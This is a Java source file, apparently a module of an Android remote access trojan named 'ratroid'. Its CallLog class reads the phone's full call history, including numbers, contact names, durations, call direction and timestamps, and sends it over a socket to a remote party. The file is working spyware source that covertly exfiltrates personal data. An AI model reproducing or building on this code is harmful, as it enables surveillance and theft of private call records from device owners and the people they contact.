package com.hicham.ratroid;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;

import java.io.ObjectOutputStream;
import java.io.OutputStream;


import android.content.Context;
import android.database.Cursor;

public class CallLog  {

	private HashMap<String,String> calltab;
	private Context context;
	private int i=0;

	public CallLog(Context con1){
		context=con1;
		 calltab =new HashMap<String,String>();
		
	}
	
	public HashMap<String,String> get11(){
		
		String[] strFields = {
		        android.provider.CallLog.Calls.NUMBER, 
		        android.provider.CallLog.Calls.TYPE,
		        android.provider.CallLog.Calls.CACHED_NAME,
		        android.provider.CallLog.Calls.DURATION,
		        android.provider.CallLog.Calls.DATE
		        };
		String strOrder = android.provider.CallLog.Calls.DATE + " DESC"; 
		 
		Cursor mCallCursor = context.getContentResolver().query(
		        android.provider.CallLog.Calls.CONTENT_URI,
		        strFields,
		        null,
		        null,
		        strOrder
		        );
		
		if(mCallCursor.moveToFirst()){
			 
			  // loop through cursor 
			  do{

				  i++;
				  String key = String.valueOf(i);
				  String name=mCallCursor.getString(2);
				  calltab.put(key, name);
				  
				  i++;
				  key = String.valueOf(i);
				  String number=mCallCursor.getString(0);
				  calltab.put(key,number);
				  
				  i++;
				  key = String.valueOf(i);
				  String calld=mCallCursor.getString(3);
				  long l = Long.valueOf(calld);
				  int secs=(int)(l)% 60;
				  int mins=(int)(l/(60)) % 60;
				  int hrs=(int)(l/(60*60));
				  String duration = (String.valueOf(hrs)+":"+String.valueOf(mins)+":"+String.valueOf(secs));
				  calltab.put(key,duration);
				  
				    i++;
		        	key = String.valueOf(i);
		            String callType = mCallCursor.getString(1);
		            String dir = "Not Found";
		            int dircode = Integer.parseInt(callType);
		            switch (dircode) {
		            case 2:
		                dir = "OUTGOING";
		                break;

		            case 1:
		                dir = "INCOMING";
		                break;

		            case 3:
		                dir = "MISSED";
		                break;
		            }
		            calltab.put(key,dir);
				  
		            i++;
		        	key = String.valueOf(i);
		            String callDate = mCallCursor.getString(4);
		            Date callDayTime = new Date(Long.valueOf(callDate));
					SimpleDateFormat formatDateJour = new SimpleDateFormat("dd/MM/yyyy kk:mm:ss");
					String date = formatDateJour.format(callDayTime); 
					calltab.put(key,date);
					
			  } while (mCallCursor.moveToNext());
			 
			}
		return calltab;
	}
	
	public void SendInfos(Sender s) {

		try{
		OutputStream os = s.s.getOutputStream();  
		ObjectOutputStream oos = new ObjectOutputStream(os); 
		oos.writeObject(calltab);
		oos.flush();
		}catch(Exception e){
			System.out.println(e);
		} 

	}

	
}